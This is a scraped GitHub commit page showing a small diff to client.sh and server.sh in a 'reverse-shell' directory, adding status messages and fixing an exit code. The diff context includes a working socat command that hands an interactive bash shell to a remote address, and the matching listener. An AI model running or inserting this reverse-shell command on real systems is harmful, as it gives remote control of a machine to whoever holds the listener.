Skip to content

Commit

Permalink
updated verbosity slightly of scripts
Browse files Browse the repository at this point in the history
  • Loading branch information
heywoodlh committed Nov 14, 2024
1 parent 0689141 commit da7c7a8
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 1 deletion.
1 change: 1 addition & 0 deletions reverse-shell/client.sh
Original file line number Diff line number Diff line change
Expand Up @@ -8,4 +8,5 @@ error="false"
[[ "${error}" == "true" ]] && echo "Error encountered. Exiting" && exit 1

# Invoke reverse shell, using bash for better tty experience
echo "Invoking reverse shell with socat to dest ${SERVER_ADDRESS}:${SERVER_PORT}"
socat EXEC:'/bin/bash --noprofile --norc -i',pty,stderr,setsid,sigint,sane,raw tcp:${SERVER_ADDRESS}:${SERVER_PORT}
3 changes: 2 additions & 1 deletion reverse-shell/server.sh
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
#!/bin/ash

# Check for required env variables
[[ -z ${LISTEN_PORT} ]] && echo "LISTEN_PORT variable not set. Exiting." && exit 0
[[ -z ${LISTEN_PORT} ]] && echo "LISTEN_PORT variable not set. Exiting." && exit 1

# Start listener
echo "Started listener at ${LISTEN_PORT}"
socat TCP-LISTEN:${LISTEN_PORT},reuseaddr,fork,max-children=1 UNIX-LISTEN:/tmp/reverse-shell.sock

0 comments on commit da7c7a8

Please sign in to comment.